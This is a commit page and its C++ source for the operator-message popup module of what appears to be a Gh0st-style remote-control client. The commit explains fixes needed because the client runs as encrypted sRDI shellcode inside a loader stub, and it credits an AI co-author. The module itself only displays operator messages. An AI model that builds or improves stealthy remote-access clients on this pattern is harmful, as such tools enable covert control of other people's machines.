Clients packaged as SC_AES/sRDI shellcode run the payload image as raw shellcode inside the loader stub, so the instant-message manager was handed the stub's module handle. The stub's resource section carries no IDD_DIALOG, and Windows rejects resource APIs on manually mapped images, so DialogBoxParamA failed (error 1812 on Windows 11) and the bottom-right popup never appeared after the operator sent a message. The popup now falls back to an embedded compiled dialog template generated from the IDD_DIALOG block in Script.rc and verified byte-for-byte against the resource in the built ghost.exe. When the resource lookup fails, the dialog is created with DialogBoxIndirectParamA instead. Deployments where the resource lookup already works keep the original path unchanged. The incoming text is now terminated at the copied length. The server sends the message body without a trailing NUL, so a message that filled the 1024-byte buffer left SetDlgItemText reading past the end. The title is now set with SetWindowTextW before the window is shown. DialogBoxParamA converts the template's UTF-16 caption through the system ANSI code page, so the Chinese title turned into "???" on 1252 systems (verified locally with a caption containing a character outside CP936). The title follows the UI language: Chinese systems keep the Chinese title, everything else shows "Message". The message body still uses the ANSI path, preserving the existing per-ACP semantics. Co-Authored-By: deepseek-flash
182 lines
5.8 KiB
C++
182 lines
5.8 KiB
C++
// TalkManager.cpp: implementation of the CTalkManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "stdafx.h"
|
|
#include "TalkManager.h"
|
|
#include "TalkDialogTemplate.h"
|
|
#include "Common.h"
|
|
#include "resource.h"
|
|
#include <IOSTREAM>
|
|
#include <mmsystem.h>
|
|
|
|
#if ENABLE_MESSAGE
|
|
|
|
#pragma comment(lib, "WINMM.LIB")
|
|
|
|
#define ID_TIMER_POP_WINDOW 1
|
|
#define ID_TIMER_DELAY_DISPLAY 2
|
|
#define ID_TIMER_CLOSE_WINDOW 3
|
|
|
|
#define WIN_WIDTH 360
|
|
#define WIN_HEIGHT 200
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
|
{
|
|
m_hInstance = HINSTANCE(user);
|
|
g_Event = 0;
|
|
memset(g_Buffer, 0, sizeof(g_Buffer));
|
|
BYTE bToken = TOKEN_TALK_START;
|
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
|
WaitForDialogOpen();
|
|
Mprintf("Talk 构造\n");
|
|
}
|
|
|
|
CTalkManager::~CTalkManager()
|
|
{
|
|
Mprintf("Talk 析构\n");
|
|
}
|
|
|
|
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
{
|
|
switch(szBuffer[0]) {
|
|
case COMMAND_NEXT: {
|
|
NotifyDialogIsOpen();
|
|
break;
|
|
}
|
|
|
|
default: {
|
|
// 服务端只发正文、不带结尾 NUL:按实际长度补终止符(留一格),
|
|
// 否则正好填满缓冲区时 SetDlgItemText 会越界读
|
|
size_t nCopy = min(ulLength, sizeof(g_Buffer) - 1);
|
|
memcpy(g_Buffer, szBuffer, nCopy);
|
|
g_Buffer[nCopy] = '\0';
|
|
//创建一个DLG
|
|
INT_PTR nRet = DialogBoxParamA(m_hInstance, MAKEINTRESOURCEA(IDD_DIALOG),
|
|
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
|
if (nRet == -1) {
|
|
// 与聊天窗口同样的原因:加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是
|
|
// 外壳进程映像,取不到 IDD_DIALOG 资源,DialogBoxParamA 直接失败(Win11
|
|
// 实测 err=1812/59),右下角消息窗口不会出现。回退到内嵌的编译后模板。
|
|
DWORD dwError = GetLastError();
|
|
Mprintf("DialogBoxParamA(%lu) 失败,改用内嵌对话框模板\n", dwError);
|
|
DialogBoxIndirectParamA(m_hInstance, (LPCDLGTEMPLATEA)kTalkDialogTemplate,
|
|
NULL, DialogProc, (LPARAM)this);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
|
WPARAM wParam, LPARAM lParam)
|
|
{
|
|
static CTalkManager* This = nullptr;
|
|
switch(uMsg) {
|
|
case WM_TIMER: {
|
|
if (This) This->OnDlgTimer(hDlg);
|
|
break;
|
|
}
|
|
case WM_INITDIALOG: {
|
|
// 获取当前窗口样式
|
|
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
|
|
// 移除 WS_EX_APPWINDOW 样式,添加 WS_EX_TOOLWINDOW 样式
|
|
exStyle &= ~WS_EX_APPWINDOW;
|
|
exStyle |= WS_EX_TOOLWINDOW;
|
|
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
|
This = (CTalkManager*)lParam;
|
|
if(This) This->OnInitDialog(hDlg);
|
|
break;
|
|
}
|
|
case WM_COMMAND:
|
|
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
|
|
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
|
BYTE bToken = TOKEN_TALKCMPLT;
|
|
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
|
|
EndDialog(hDlg, LOWORD(wParam));
|
|
return (INT_PTR)TRUE;
|
|
}
|
|
break;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
VOID CTalkManager::OnInitDialog(HWND hDlg)
|
|
{
|
|
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
|
|
|
// 标题栏:DialogBoxParamA 会把模板里的 UTF-16 标题按系统 ANSI 代码页转换,
|
|
// 德语等 1252 系统上"消息提示"会变成 "???"。这里在显示前用 W 接口重设标题
|
|
// (消息正文仍走 ANSI,保持原有编码语义)。中文系统显示中文,其余显示英文。
|
|
{
|
|
static const bool bChineseUI =
|
|
(PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
|
|
SetWindowTextW(hDlg, bChineseUI ? L"消息提示" : L"Message");
|
|
}
|
|
|
|
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
|
|
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
|
|
|
|
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
|
|
|
::SetFocus(GetDesktopWindow());
|
|
|
|
memset(g_Buffer,0,sizeof(g_Buffer));
|
|
|
|
g_Event = ID_TIMER_POP_WINDOW;
|
|
SetTimer(hDlg, g_Event, 1, NULL);
|
|
|
|
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
|
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
|
}
|
|
|
|
|
|
VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
|
|
{
|
|
RECT Rect;
|
|
static int Height=0;
|
|
SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0);
|
|
int y=Rect.bottom-Rect.top;;
|
|
int x=Rect.right-Rect.left;
|
|
x=x-WIN_WIDTH;
|
|
|
|
switch(g_Event) {
|
|
case ID_TIMER_CLOSE_WINDOW: {
|
|
if(Height>=0) {
|
|
Height-=5;
|
|
MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE);
|
|
} else {
|
|
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
|
BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h
|
|
m_ClientObject->Send2Server((char*)&bToken, 1); // 发送允许重新发送的指令
|
|
EndDialog(hDlg,0);
|
|
}
|
|
break;
|
|
}
|
|
case ID_TIMER_DELAY_DISPLAY: {
|
|
KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY);
|
|
g_Event = ID_TIMER_CLOSE_WINDOW;
|
|
SetTimer(hDlg,g_Event, 5, NULL);
|
|
break;
|
|
}
|
|
case ID_TIMER_POP_WINDOW: {
|
|
if(Height<=WIN_HEIGHT) {
|
|
Height+=3;
|
|
MoveWindow(hDlg,x, y-Height, WIN_WIDTH, Height,TRUE);
|
|
} else {
|
|
KillTimer(hDlg,ID_TIMER_POP_WINDOW);
|
|
g_Event = ID_TIMER_DELAY_DISPLAY;
|
|
SetTimer(hDlg,g_Event, 4000, NULL);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
#endif
|